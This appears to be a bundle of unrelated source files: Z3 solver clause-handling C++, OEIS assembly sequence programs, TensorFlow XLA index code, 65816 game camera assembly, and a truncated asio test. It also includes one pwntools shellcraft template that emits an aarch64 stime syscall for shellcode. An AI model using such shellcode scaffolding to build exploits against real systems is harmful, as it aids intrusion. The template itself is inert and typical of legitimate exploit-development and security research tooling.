If a literal is not assigned, it means it was re-initialized
after backtracking. So, its level is assumed to be m_scope_lvl.
*/
int context::select_learned_watch_lit(clause const * cls) const {
SASSERT(cls->get_num_literals() >= 2);
int max_false_idx = -1;
unsigned max_lvl = UINT_MAX;
int num_lits = cls->get_num_literals();
for (int i = 1; i < num_lits; i++) {
literal l = cls->get_literal(i);
lbool val = get_assignment(l);
SASSERT(val == l_false || val == l_undef);
unsigned lvl = val == l_false ? get_assign_level(l) : m_scope_lvl;
if (max_false_idx == -1 || lvl > max_lvl) {
max_false_idx = i;
max_lvl = lvl;
}
}
return max_false_idx;
}
/**
\brief Select a watch literal from a set of literals which is
different from the literal in position other_watch_lit.
I use the following rules to select a watch literal.
1- select a literal l in idx >= starting_at such that get_assignment(l) = l_true,
and for all l' in idx' >= starting_at . get_assignment(l') = l_true implies get_level(l) <= get_level(l')
The purpose of this rule is to make the clause inactive for as long as possible. A clause
is inactive when it contains a literal assigned to true.
2- if there isn't a literal assigned to true, then select an unassigned literal l is in idx >= starting_at
3- if there isn't a literal l in idx >= starting_at such that get_assignment(l) = l_true or
get_assignment(l) = l_undef (that is, all literals different from other_watch_lit are assigned
to false), then peek the literal l different starting at starting_at such that for all l' starting at starting_at
get_level(l) >= get_level(l')
Without rule 3, boolean propagation is incomplete, that is, it may miss possible propagations.
\remark The method select_lemma_watch_lit is used to select the
watch literal for regular learned clauses.
*/
int context::select_watch_lit(clause const * cls, int starting_at) const {
SASSERT(cls->get_num_literals() >= 2);
int min_true_idx = -1;
int max_false_idx = -1;
int unknown_idx = -1;
int n = cls->get_num_literals();
for (int i = starting_at; i < n; i++) {
literal l = cls->get_literal(i);
switch(get_assignment(l)) {
case l_false:
if (max_false_idx == -1 || get_assign_level(l.var()) > get_assign_level(cls->get_literal(max_false_idx).var()))
max_false_idx = i;
break;
case l_undef:
unknown_idx = i;
break;
case l_true:
if (min_true_idx == -1 || get_assign_level(l.var()) < get_assign_level(cls->get_literal(min_true_idx).var()))
min_true_idx = i;
break;
}
}
if (min_true_idx != -1)
return min_true_idx;
if (unknown_idx != -1)
return unknown_idx;
SASSERT(max_false_idx != -1);
return max_false_idx;
}
/**
\brief Add watch literal to the given clause.
\pre idx must be 0 or 1.
*/
void context::add_watch_literal(clause * cls, unsigned idx) {
SASSERT(idx == 0 || idx == 1);
literal l = cls->get_literal(idx);
unsigned l_idx = (~l).index();
watch_list & wl = const_cast<watch_list &>(m_watches[l_idx]);
wl.insert_clause(cls);
CASSERT("watch_list", check_watch_list(l_idx));
}
/**
\brief Create a new clause using the given literals, justification, kind and deletion event handler.
The deletion event handler is ignored if binary clause optimization is applicable.
*/
clause * context::mk_clause(unsigned num_lits, literal * lits, justification * j, clause_kind k, clause_del_eh * del_eh) {
TRACE("mk_clause", tout << "creating clause:\n"; display_literals_verbose(tout, num_lits, lits); tout << "\n";);
switch (k) {
case CLS_AUX: {
literal_buffer simp_lits;
if (!simplify_aux_clause_literals(num_lits, lits, simp_lits))
return 0; // clause is equivalent to true;
DEBUG_CODE({
for (unsigned i = 0; i < simp_lits.size(); i++) {
SASSERT(get_assignment(simp_lits[i]) == l_true);
}
});
if (!simp_lits.empty()) {
j = mk_justification(unit_resolution_justification(m_region, j, simp_lits.size(), simp_lits.c_ptr()));
}
break;
}
case CLS_AUX_LEMMA: {
if (!simplify_aux_lemma_literals(num_lits, lits))
return 0; // clause is equivalent to true
// simplify_aux_lemma_literals does not delete literals assigned to false, so
// it is not necessary to create a unit_resolution_justification
break;
}
default:
break;
}
TRACE("mk_clause", tout << "after simplification:\n"; display_literals(tout, num_lits, lits); tout << "\n";);
unsigned activity = 0;
if (activity == 0)
activity = 1;
bool lemma = k != CLS_AUX;
m_stats.m_num_mk_lits += num_lits;
switch (num_lits) {
case 0:
if (j && !j->in_region())
m_justifications.push_back(j);
TRACE("mk_clause", tout << "empty clause... setting conflict\n";);
set_conflict(j == 0 ? b_justification::mk_axiom() : b_justification(j));
SASSERT(inconsistent());
return 0;
case 1:
if (j && !j->in_region())
m_justifications.push_back(j);
assign(lits[0], j);
return 0;
case 2:
if (use_binary_clause_opt(lits[0], lits[1], lemma)) {
literal l1 = lits[0];
literal l2 = lits[1];
m_watches[(~l1).index()].insert_literal(l2);
m_watches[(~l2).index()].insert_literal(l1);
if (get_assignment(l2) == l_false)
assign(l1, b_justification(~l2));
m_stats.m_num_mk_bin_clause++;
return 0;
}
default: {
m_stats.m_num_mk_clause++;
unsigned iscope_lvl = lemma ? get_max_iscope_lvl(num_lits, lits) : 0;
SASSERT(m_scope_lvl >= iscope_lvl);
bool save_atoms = lemma && iscope_lvl > m_base_lvl;
bool reinit = save_atoms;
SASSERT(!lemma || j == 0 || !j->in_region());
clause * cls = clause::mk(m_manager, num_lits, lits, k, j, del_eh, save_atoms, m_bool_var2expr.c_ptr());
if (lemma) {
cls->set_activity(activity);
if (k == CLS_LEARNED) {
int w2_idx = select_learned_watch_lit(cls);
cls->swap_lits(1, w2_idx);
}
else {
SASSERT(k == CLS_AUX_LEMMA);
int w1_idx = select_watch_lit(cls, 0);
cls->swap_lits(0, w1_idx);
int w2_idx = select_watch_lit(cls, 1);
cls->swap_lits(1, w2_idx);
TRACE("mk_th_lemma", display_clause(tout, cls); tout << "\n";);
}
m_lemmas.push_back(cls);
add_watch_literal(cls, 0);
add_watch_literal(cls, 1);
if (get_assignment(cls->get_literal(0)) == l_false) {
set_conflict(b_justification(cls));
if (k == CLS_AUX_LEMMA && m_scope_lvl > m_base_lvl) {
reinit = true;
iscope_lvl = m_scope_lvl;
}
}
else if (get_assignment(cls->get_literal(1)) == l_false) {
assign(cls->get_literal(0), b_justification(cls));
if (k == CLS_AUX_LEMMA && m_scope_lvl > m_base_lvl) {
reinit = true;
iscope_lvl = m_scope_lvl;
}
}
if (reinit)
mark_for_reinit(cls, iscope_lvl, save_atoms);
}
else {
m_aux_clauses.push_back(cls);
add_watch_literal(cls, 0);
add_watch_literal(cls, 1);
if (get_assignment(cls->get_literal(0)) == l_false)
set_conflict(b_justification(cls));
else if (get_assignment(cls->get_literal(1)) == l_false)
assign(cls->get_literal(0), b_justification(cls));
}
if (lit_occs_enabled())
add_lit_occs(cls);
TRACE("add_watch_literal_bug", display_clause_detail(tout, cls););
TRACE("mk_clause_result", display_clause_detail(tout, cls););
CASSERT("mk_clause", check_clause(cls));
return cls;
}}
}
void context::add_lit_occs(clause * cls) {
unsigned num_lits = cls->get_num_literals();
for (unsigned i = 0; i < num_lits; i++) {
literal l = cls->get_literal(i);
m_lit_occs[l.index()].insert(cls);
}
}
void context::mk_clause(literal l1, literal l2, justification * j) {
literal ls[2] = { l1, l2 };
mk_clause(2, ls, j);
}
void context::mk_clause(literal l1, literal l2, literal l3, justification * j) {
literal ls[3] = { l1, l2, l3 };
mk_clause(3, ls, j);
}
void context::mk_th_axiom(theory_id tid, unsigned num_lits, literal * lits, unsigned num_params, parameter * params) {
justification * js = 0;
TRACE("mk_th_axiom",
display_literals_verbose(tout, num_lits, lits);
tout << "\n";);
if (m_manager.proofs_enabled()) {
js = mk_justification(theory_axiom_justification(tid, m_region, num_lits, lits, num_params, params));
}
if (m_fparams.m_smtlib_dump_lemmas) {
literal_buffer tmp;
neg_literals(num_lits, lits, tmp);
SASSERT(tmp.size() == num_lits);
display_lemma_as_smt_problem(tmp.size(), tmp.c_ptr(), false_literal, m_fparams.m_logic);
}
mk_clause(num_lits, lits, js);
}
void context::mk_th_axiom(theory_id tid, literal l1, literal l2, unsigned num_params, parameter * params) {
literal ls[2] = { l1, l2 };
mk_th_axiom(tid, 2, ls, num_params, params);
}
void context::mk_th_axiom(theory_id tid, literal l1, literal l2, literal l3, unsigned num_params, parameter * params) {
literal ls[3] = { l1, l2, l3 };
mk_th_axiom(tid, 3, ls, num_params, params);
}
proof * context::mk_clause_def_axiom(unsigned num_lits, literal * lits, expr * root_gate) {
ptr_buffer<expr> new_lits;
for (unsigned i = 0; i < num_lits; i++) {
literal l = lits[i];
bool_var v = l.var();
expr * atom = m_bool_var2expr[v];
new_lits.push_back(l.sign() ? m_manager.mk_not(atom) : atom);
}
if (root_gate)
new_lits.push_back(m_manager.mk_not(root_gate));
SASSERT(num_lits > 1);
expr * fact = m_manager.mk_or(new_lits.size(), new_lits.c_ptr());
return m_manager.mk_def_axiom(fact);
}
void context::mk_gate_clause(unsigned num_lits, literal * lits) {
if (m_manager.proofs_enabled()) {
proof * pr = mk_clause_def_axiom(num_lits, lits, 0);
TRACE("gate_clause", tout << mk_ll_pp(pr, m_manager););
mk_clause(num_lits, lits, mk_justification(justification_proof_wrapper(*this, pr)));
}
else {
mk_clause(num_lits, lits, 0);
}
}
void context::mk_gate_clause(literal l1, literal l2) {
literal ls[2] = { l1, l2 };
mk_gate_clause(2, ls);
}
void context::mk_gate_clause(literal l1, literal l2, literal l3) {
literal ls[3] = { l1, l2, l3 };
mk_gate_clause(3, ls);
}
void context::mk_gate_clause(literal l1, literal l2, literal l3, literal l4) {
literal ls[4] = { l1, l2, l3, l4 };
mk_gate_clause(4, ls);
}
void context::mk_root_clause(unsigned num_lits, literal * lits, proof * pr) {
if (m_manager.proofs_enabled()) {
SASSERT(m_manager.get_fact(pr));
expr * fact = m_manager.get_fact(pr);
if (!m_manager.is_or(fact)) {
proof * def = mk_clause_def_axiom(num_lits, lits, m_manager.get_fact(pr));
TRACE("gate_clause", tout << mk_ll_pp(def, m_manager) << "\n";
tout << mk_ll_pp(pr, m_manager););
proof * prs[2] = { def, pr };
pr = m_manager.mk_unit_resolution(2, prs);
}
mk_clause(num_lits, lits, mk_justification(justification_proof_wrapper(*this, pr)));
}
else {
mk_clause(num_lits, lits, 0);
}
}
void context::mk_root_clause(literal l1, literal l2, proof * pr) {
literal ls[2] = { l1, l2 };
mk_root_clause(2, ls, pr);
}
void context::mk_root_clause(literal l1, literal l2, literal l3, proof * pr) {
literal ls[3] = { l1, l2, l3 };
mk_root_clause(3, ls, pr);
}
void context::add_and_rel_watches(app * n) {
if (relevancy()) {
relevancy_eh * eh = m_relevancy_propagator->mk_and_relevancy_eh(n);
unsigned num = n->get_num_args();
for (unsigned i = 0; i < num; i++) {
// if one child is assigned to false, the the and-parent must be notified
literal l = get_literal(n->get_arg(i));
add_rel_watch(~l, eh);
}
}
}
void context::add_or_rel_watches(app * n) {
if (relevancy()) {
relevancy_eh * eh = m_relevancy_propagator->mk_or_relevancy_eh(n);
unsigned num = n->get_num_args();
for (unsigned i = 0; i < num; i++) {
// if one child is assigned to true, the the or-parent must be notified
literal l = get_literal(n->get_arg(i));
add_rel_watch(l, eh);
}
}
}
void context::add_ite_rel_watches(app * n) {
if (relevancy()) {
relevancy_eh * eh = m_relevancy_propagator->mk_ite_relevancy_eh(n);
literal l = get_literal(n->get_arg(0));
// when the condition of an ite is assigned to true or false, the ite-parent must be notified.
TRACE("propagate_relevant_ite", tout << "#" << n->get_id() << ", eh: " << eh << "\n";);
add_rel_watch(l, eh);
add_rel_watch(~l, eh);
}
}
void context::mk_not_cnstr(app * n) {
SASSERT(b_internalized(n));
bool_var v = get_bool_var(n);
literal l(v, false);
literal c = get_literal(n->get_arg(0));
mk_gate_clause(~l, ~c);
mk_gate_clause(l, c);
}
void context::mk_and_cnstr(app * n) {
literal l = get_literal(n);
TRACE("mk_and_cnstr", tout << "l: "; display_literal(tout, l); tout << "\n";);
literal_buffer buffer;
buffer.push_back(l);
unsigned num_args = n->get_num_args();
for (unsigned i = 0; i < num_args; i++) {
literal l_arg = get_literal(n->get_arg(i));
TRACE("mk_and_cnstr", tout << "l_arg: "; display_literal(tout, l_arg); tout << "\n";);
mk_gate_clause(~l, l_arg);
buffer.push_back(~l_arg);
}
mk_gate_clause(buffer.size(), buffer.c_ptr());
}
void context::mk_or_cnstr(app * n) {
literal l = get_literal(n);
literal_buffer buffer;
buffer.push_back(~l);
unsigned num_args = n->get_num_args();
for (unsigned i = 0; i < num_args; i++) {
literal l_arg = get_literal(n->get_arg(i));
mk_gate_clause(l, ~l_arg);
buffer.push_back(l_arg);
}
mk_gate_clause(buffer.size(), buffer.c_ptr());
}
void context::mk_iff_cnstr(app * n) {
literal l = get_literal(n);
literal l1 = get_literal(n->get_arg(0));
literal l2 = get_literal(n->get_arg(1));
TRACE("mk_iff_cnstr", tout << "l: " << l << ", l1: " << l1 << ", l2: " << l2 << "\n";);
mk_gate_clause(~l, l1, ~l2);
mk_gate_clause(~l, ~l1 , l2);
mk_gate_clause( l, l1, l2);
mk_gate_clause( l, ~l1, ~l2);
}
void context::mk_ite_cnstr(app * n) {
literal l = get_literal(n);
literal l1 = get_literal(n->get_arg(0));
literal l2 = get_literal(n->get_arg(1));
literal l3 = get_literal(n->get_arg(2));
mk_gate_clause(~l, ~l1, l2);
mk_gate_clause(~l, l1, l3);
mk_gate_clause(l, ~l1, ~l2);
mk_gate_clause(l, l1, ~l3);
}
/**
\brief Trail for add_th_var
*/
class add_th_var_trail : public trail<context> {
enode * m_enode;
theory_id m_th_id;
#ifdef Z3DEBUG
theory_var m_th_var;
#endif
public:
add_th_var_trail(enode * n, theory_id th_id):
m_enode(n),
m_th_id(th_id) {
DEBUG_CODE(m_th_var = n->get_th_var(th_id););
SASSERT(m_th_var != null_theory_var);
}
virtual void undo(context & ctx) {
theory_var v = m_enode->get_th_var(m_th_id);
SASSERT(v != null_theory_var);
SASSERT(m_th_var == v);
m_enode->del_th_var(m_th_id);
enode * root = m_enode->get_root();
if (root != m_enode && root->get_th_var(m_th_id) == v)
root->del_th_var(m_th_id);
}
};
/**
\brief Trail for replace_th_var
*/
class replace_th_var_trail : public trail<context> {
enode * m_enode;
unsigned m_th_id:8;
unsigned m_old_th_var:24;
public:
replace_th_var_trail(enode * n, theory_id th_id, theory_var old_var):
m_enode(n),
m_th_id(th_id),
m_old_th_var(old_var) {
}
virtual void undo(context & ctx) {
SASSERT(m_enode->get_th_var(m_th_id) != null_theory_var);
m_enode->replace_th_var(m_old_th_var, m_th_id);
}
};
/**
\brief Attach theory var v to the enode n.
Enode n is to attached to any theory variable of th.
This method should be invoked whenever the theory creates a new theory variable.
\remark The methods new_eq_eh and new_diseq_eh of th may be invoked before this method
returns.
*/
void context::attach_th_var(enode * n, theory * th, theory_var v) {
SASSERT(!th->is_attached_to_var(n));
theory_id th_id = th->get_id();
theory_var old_v = n->get_th_var(th_id);
if (old_v == null_theory_var) {
enode * r = n->get_root();
theory_var v2 = r->get_th_var(th_id);
n->add_th_var(v, th_id, m_region);
push_trail(add_th_var_trail(n, th_id));
if (v2 == null_theory_var) {
if (r != n)
r->add_th_var(v, th_id, m_region);
push_new_th_diseqs(r, v, th);
}
else if (r != n) {
push_new_th_eq(th_id, v2, v);
}
}
else {
// Case) there is a variable old_v in the var-list of n.
//
// Remark: This variable was moved to the var-list of n due to a add_eq.
SASSERT(th->get_enode(old_v) != n); // this varialbe is not owned by n
SASSERT(n->get_root()->get_th_var(th_id) != null_theory_var); // the root has also a variable in its var-list.
n->replace_th_var(v, th_id);
push_trail(replace_th_var_trail(n, th_id, old_v));
push_new_th_eq(th_id, v, old_v);
}
SASSERT(th->is_attached_to_var(n));
}
};
|
<%
from pwnlib.shellcraft.aarch64.linux import syscall
%>
<%page args="when"/>
<%docstring>
Invokes the syscall stime. See 'man 2 stime' for more information.
Arguments:
when(time_t): when
</%docstring>
${syscall('SYS_stime', when)}
|
; A276883: Sums-complement of the Beatty sequence for 2 + sqrt(3).
; 1,2,5,6,9,10,13,16,17,20,21,24,25,28,31,32,35,36,39,40,43,46,47,50,51,54,57,58,61,62,65,66,69,72,73,76,77,80,81,84,87,88,91,92,95,96,99,102,103,106,107,110,113,114,117,118,121,122,125,128,129,132
mov $2,$0
mul $2,$0
lpb $2
add $0,2
add $2,$3
sub $3,3
add $2,$3
lpe
add $0,1
|
; A319998: a(n) = Sum_{d|n, d is even} mu(n/d)*d, where mu(n) is Moebius function A008683.
; 0,2,0,2,0,4,0,4,0,8,0,4,0,12,0,8,0,12,0,8,0,20,0,8,0,24,0,12,0,16,0,16,0,32,0,12,0,36,0,16,0,24,0,20,0,44,0,16,0,40,0,24,0,36,0,24,0,56,0,16,0,60,0,32,0,40,0,32,0,48,0,24,0,72,0,36,0,48,0,32,0,80,0,24,0,84,0,40,0,48,0,44,0,92,0,32,0,84,0,40,0,64,0,48,0,104,0,36,0,80,0,48,0,72,0,56,0,116,0,32,0,120,0,60,0,72,0,64,0,96,0,40,0,132,0,64,0,88,0,48,0,140,0,48,0,144,0,72,0,80,0,72,0,120,0,48,0,156,0,64,0,108,0,80,0,164,0,48,0,128,0,84,0,112,0,80,0,176,0,48,0,144,0,88,0,120,0,92,0,144,0,64,0,192,0,84,0,120,0,80,0,200,0,64,0,204,0,96,0,96,0,104,0,212,0,72,0,216,0,80,0,144,0,96,0,224,0,72,0,176,0,112,0,144,0,116,0,192,0,64,0,220,0,120,0,160,0,120,0,200
lpb $0
div $0,2
mov $2,$0
cal $2,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
mul $0,2
mov $1,$2
lpe
mul $1,2
|
; A186852: Number of 3-step knight's tours on a (n+2)X(n+2) board summed over all starting positions
; 16,104,328,664,1112,1672,2344,3128,4024,5032,6152,7384,8728,10184,11752,13432,15224,17128,19144,21272,23512,25864,28328,30904,33592,36392
mov $1,$0
pow $0,2
add $1,$0
mul $1,7
trn $1,3
mul $1,8
add $1,16
|
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/xla/index_util.h"
#include <algorithm>
#include <string>
#include "tensorflow/compiler/xla/shape_util.h"
#include "tensorflow/compiler/xla/types.h"
#include "tensorflow/compiler/xla/xla_data.pb.h"
#include "tensorflow/core/lib/strings/str_util.h"
#include "tensorflow/core/platform/logging.h"
namespace xla {
/* static */ int64 IndexUtil::MultidimensionalIndexToLinearIndex(
const Shape& shape, tensorflow::gtl::ArraySlice<int64> multi_index) {
DCHECK_EQ(shape.dimensions_size(), multi_index.size());
// Padding and nested layouts not supported yet.
DCHECK_EQ(0, shape.layout().padded_dimensions_size());
for (size_t i = 0; i < multi_index.size(); ++i) {
DCHECK_GE(multi_index[i], 0);
DCHECK_LT(multi_index[i], shape.dimensions(i))
<< "indexing beyond extent in dimension " << i << ":"
<< "\n\tindex: " << tensorflow::str_util::Join(multi_index, ",")
<< "\n\tshape: " << ShapeUtil::HumanString(shape);
}
// Let the array be sized like so for dimensions i from 0 to n-1:
//
// [D{n-1} x D{n-2} x .. x D{0}]
//
// Let the order of the dimensions in the minor_to_major field in
// Layout be:
//
// L(0), L(1), ... , L(n-1)
//
// where L(0) is the most-minor dimension and L(n-1) the most-major. The
// multidimensional index:
//
// [I{0}, I{1}, ... , I{n-1}]
//
// then corresponds to the following linear index:
//
// linear_index =
// ((( ... + I{L(2)}) * D{L(1)} + I{L(1)}) * D{L(0)} + I{L(0)}
//
// or equivalently:
//
// linear_index =
// I{L(n-1)} * (D{L(n-2)} * D{L(n-3)} * D{L(n-4)} * .... D{L(0)}) +
// I{L(n-2)} * (D{L(n-3)} * D{L(n-4)} * .... D{L(0)}) +
// I{L(n-3)} * (D{L(n-4)} * .... D{L(0)}) +
// ... +
// I{L(2)} * (D{L(1)} * D{L(0)}) +
// I{L(1)} * D{L(0)} +
// I{L(0)}
//
// We compute the linear index value by accumulating the terms above from
// I{L(0)} up to I{L(n-1)}. Scale accumulates the product term D{L(0}} *
// D{L(1)} * ...
// Scale factor holding the growing product of D{L(i)} terms.
int64 scale = 1;
int64 linear_index = 0;
bool first = true;
for (auto dimension : LayoutUtil::MinorToMajor(shape)) {
if (first) {
// Avoid two multiplies on the first loop iteration
linear_index = multi_index[dimension];
scale = shape.dimensions(dimension);
first = false;
} else {
linear_index += scale * multi_index[dimension];
scale *= shape.dimensions(dimension);
}
}
return linear_index;
}
/* static */ std::vector<int64> IndexUtil::LinearIndexToMultidimensionalIndex(
const Shape& shape, int64 linear_index) {
// Padding and nested layouts not supported yet.
DCHECK_EQ(0, shape.layout().padded_dimensions_size());
DCHECK_GE(linear_index, 0);
DCHECK_LT(linear_index, ShapeUtil::ElementsIn(shape));
// The following formula computes each element of the multidimensional index
// (See comments in MultidimensionalIndexToLinearIndex for notation):
//
// I{L(0)} = linear_index % D{L(0)}
// I{L(1)} = (linear_index / D{L(0)}) % D{L(1)}
// I{L(2)} = (linear_index / (D{L(0)} * D{L(1)})) % D{L(2)}
// ...
std::vector<int64> multi_index(shape.dimensions_size());
// Accumulated product D{L(0)} * D{L(1)} * ...
int64 divisor = 1;
for (auto dimension : LayoutUtil::MinorToMajor(shape)) {
multi_index[dimension] =
(linear_index / divisor) % shape.dimensions(dimension);
divisor *= shape.dimensions(dimension);
}
return multi_index;
}
/* static */ bool IndexUtil::BumpIndices(
const Shape& shape, tensorflow::gtl::MutableArraySlice<int64> indices) {
for (int64 dimno = indices.size() - 1; dimno >= 0; --dimno) {
int64 limit = shape.dimensions(dimno);
if (indices[dimno] + 1 < limit) {
indices[dimno]++;
std::fill(indices.begin() + dimno + 1, indices.end(), 0);
return true;
}
}
return false;
}
/* static */ int64 IndexUtil::GetDimensionStride(const Shape& shape,
int64 dimension) {
int64 pdim_size = LayoutUtil::PaddedDimensions(shape).size();
int64 stride = 1;
DCHECK(pdim_size == 0 || pdim_size == shape.dimensions_size());
for (auto dim : LayoutUtil::MinorToMajor(shape)) {
if (dim == dimension) {
break;
}
if (pdim_size == 0) {
stride *= shape.dimensions(dim);
} else {
stride *= LayoutUtil::PaddedDimension(shape, dim);
}
}
return stride;
}
/* static */ bool IndexUtil::IndexInBounds(
const Shape& shape, tensorflow::gtl::ArraySlice<int64> index) {
int64 rank = ShapeUtil::Rank(shape);
if (rank != index.size()) {
return false;
}
for (int64 d = 0; d < rank; ++d) {
if (index[d] >= shape.dimensions(d)) {
return false;
}
}
return true;
}
/* static */ int IndexUtil::CompareIndices(
tensorflow::gtl::ArraySlice<int64> lhs,
tensorflow::gtl::ArraySlice<int64> rhs) {
int64 rank = lhs.size();
CHECK_EQ(rhs.size(), rank);
for (int64 dim = 0; dim < rank; ++dim) {
if (lhs[dim] < rhs[dim]) {
return -1;
} else if (lhs[dim] > rhs[dim]) {
return 1;
}
}
return 0;
}
} // namespace xla
|
AdjustTransition:
{
lda $ab : and #$01ff : beq .reset
phy : ldy #$06 ; operating on vertical registers during horizontal trans
cpx.b #$02 : bcs .horizontalScrolling
ldy #$00 ; operate on horizontal regs during vert trans
.horizontalScrolling
cmp #$0008 : bcs +
pha : lda $ab : and #$0200 : beq ++
pla : bra .add
++ pla : eor #$ffff : inc ; convert to negative
.add jsr AdjustCamAdd : ply : bra .reset
+ lda $ab : and #$0200 : xba : tax
lda.l OffsetTable,x : jsr AdjustCamAdd
lda $ab : !sub #$0008 : sta $ab
ply : bra .done
.reset ; clear the $ab variable so to not disturb intra-tile doors
stz $ab
.done
lda $00 : and #$01fc
rtl
}
AdjustCamAdd:
!add $00E2,y : pha
and #$01ff : cmp #$0111 : !blt +
cmp #$01f8 : !bge ++
pla : and #$ff10 : pha : bra +
++ pla : and #$ff00 : !add #$0100 : pha
+ pla : sta $00E2,y : sta $00E0,y : rts
; expects target quad in $05 (either 0 or 1) and target pixel in $04, target room should be in $a0
; $06 is either $ff or $01/02
; uses $00-$03 and $0e for calculation
; also set up $ac
ScrollY: ;change the Y offset variables
lda $a0 : and.b #$f0 : lsr #3 : sta $0603 : inc : sta $0607
lda $05 : bne +
lda $603 : sta $00 : stz $01 : bra ++
+ lda $607 : sta $00 : lda #$02 : sta $01
++ ; $01 now contains 0 or 2 and $00 contains the correct lat
stz $0e
rep #$30
lda $00 : pha
lda $e8 : and #$01ff : sta $02
lda $04 : jsr LimitYCamera : sta $00
jsr CheckRoomLayoutY : bcc +
lda $00 : cmp #$0080 : !bge ++
cmp #$0010 : !blt .cmpSrll
lda #$0010 : bra .cmpSrll
++ cmp #$0100 : !bge .cmpSrll
lda #$0100
.cmpSrll sta $00
; figures out scroll amt
+ lda $00 : cmp $02 : bne +
lda #$0000 : bra .next
+ !blt +
!sub $02 : inc $0e : bra .next
+ lda $02 : !sub $00
.next
sta $ab
jsr AdjustCameraBoundsY
pla : sta $00
sep #$30
lda $04 : sta $20
lda $00 : sta $21 : sta $0601 : sta $0605
lda $01 : sta $aa
lda $0e : asl : ora $ac : sta $ac
lda $e9 : and #$01 : asl #2 : tax : lda $0603, x : sta $e9
rts
LimitYCamera:
cmp #$006c : !bge +
lda #$0000 : bra .end
+ cmp #$017d : !blt +
lda #$0110 : bra .end
+ !sub #$006c
.end rts
CheckRoomLayoutY:
jsr LoadRoomLayout ;switches to 8-bit
cmp #$00 : beq .lock
cmp #$07 : beq .free
cmp #$01 : beq .free
cmp #$04 : !bge .lock
cmp #$02 : bne +
lda $06 : cmp #$ff : beq .lock
+ cmp #$03 : bne .free
lda $06 : cmp #$ff : bne .lock
.free rep #$30 : clc : rts
.lock rep #$30 : sec : rts
AdjustCameraBoundsY:
jsr CheckRoomLayoutY : bcc .free
; layouts that are camera locked (quads only)
lda $04 : and #$00ff : cmp #$007d : !blt +
lda #$0088 : bra ++
+ cmp #$006d : !bge +
lda #$0078 : bra ++
+ !add #$000b
; I think we no longer need the $02 variable
++ sta $02 : lda $04 : and #$0100 : !add $02 : bra .setBounds
; layouts where the camera is free
.free lda $04 : cmp #$006c : !bge +
lda #$0077 : bra .setBounds
+ cmp #$017c : !blt +
lda #$0187 : bra .setBounds
+ !add #$000b
.setBounds sta $0618 : inc #2 : sta $061a
rts
LoadRoomLayout:
lda $a0 : asl : !add $a0 : tax
lda $1f8001, x : sta $b8
lda $1f8000, x : sta $b7
sep #$30
ldy #$01 : lda [$b7], y : and #$1c : lsr #2
rts
; expects target quad in $05 (either 0 or 1) and target pixel in $04, target room should be in $a0
; uses $00-$03 and $0e for calculation
; also set up $ac
ScrollX: ;change the X offset variables
lda $a0 : and.b #$0f : asl : sta $060b : inc : sta $060f
lda $05 : bne +
lda $60b : sta $00 : stz $01 : bra ++
+ lda $60f : sta $00 : lda #$01 : sta $01
++ ; $01 now contains 0 or 1 and $00 contains the correct long
stz $0e ; pos/neg indicator
rep #$30
lda $00 : pha
lda $e2 : and #$01ff : sta $02
lda $04 : jsr LimitXCamera : sta $00
jsr CheckRoomLayoutX : bcc +
lda $00 : cmp #$0080 : !bge ++
lda #$0000 : bra .cmpSrll
++ lda #$0100
.cmpSrll sta $00
;figures out scroll amt
+ lda $00 : cmp $02 : bne +
lda #$0000 : bra .next
+ !blt +
!sub $02 : inc $0e : bra .next
+ lda $02 : !sub $00
.next
sta $ab : lda $04
cmp #$0078 : !bge +
lda #$007f : bra ++
+ cmp #$0178 : !blt +
lda #$017f : bra ++
+ !add #$0007
++ sta $061c : inc #2 : sta $061e
pla : sta $00
sep #$30
lda $04 : sta $22
lda $00 : sta $23 : sta $0609 : sta $060d
lda $01 : sta $a9
lda $0e : asl : ora $ac : sta $ac
lda $e3 : and #$01 : asl #2 : tax : lda $060b, x : sta $e3
rts
LimitXCamera:
cmp #$0079 : !bge +
lda #$0000 : bra .end
+ cmp #$0178 : !blt +
lda #$0178
+ !sub #$0078
.end rts
CheckRoomLayoutX:
jsr LoadRoomLayout ;switches to 8-bit
cmp #$04 : !blt .lock
cmp #$05 : bne +
lda $06 : cmp #$ff : beq .lock
+ cmp #$06 : bne .free
lda $06 : cmp #$ff : bne .lock
.free rep #$30 : clc : rts
.lock rep #$30 : sec : rts
ApplyScroll:
rep #$30
lda $ab : and #$01ff : sta $00
lda $ab : and #$0200 : beq +
lda $00e2, y : !add $00 : bra .end
+ lda $00e2, y : !sub $00
.end
sta $00e2, y
sta $00e0, y
stz $ab : sep #$30 : rts
QuadrantLoadOrderBeforeScroll:
lda $045f : beq .end
lda #$08 : sta $045c ; start with opposite quadrant row
.end
jsl $0091c4 ; what we overwrote
rtl
QuadrantLoadOrderAfterScroll:
lda $045f : beq .end
stz $045c : stz $045f ; draw other row and clear flag
.end
jsl $0091c4 ; what we overwrote
rtl |
//
// generic/datagram_protocol.cpp
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2015 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
// Disable autolinking for unit tests.
#if !defined(BOOST_ALL_NO_LIB)
#define BOOST_ALL_NO_LIB 1
#endif // !defined(BOOST_ALL_NO_LIB)
// Test that header file is self-contained.
#include "asio/generic/datagram_protocol.hpp"
#include <cstring>
#include "asio/io_service.hpp"
#include "asio/ip/udp.hpp"
#include "../unit_test.hpp"
#if defined(__cplusplus_cli) || defined(__cplusplus_winrt)
# define generic cpp_generic
#endif
//------------------------------------------------------------------------------
// generic_datagram_protocol_socket_compile test
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// The following test checks that all public member functions on the class
// generic::datagram_socket::socket compile and link correctly. Runtime
// failures are ignored.
namespace generic_datagram_protocol_socket_compile {
void connect_handler(const asio::error_code&)
{
}
void send_handler(const asio::error_code&, std::size_t)
{
}
void receive_handler(const asio::error_code&, std::size_t)
{
}
void test()
{
using namespace asio;
namespace generic = asio::generic;
typedef generic::datagram_protocol dp;
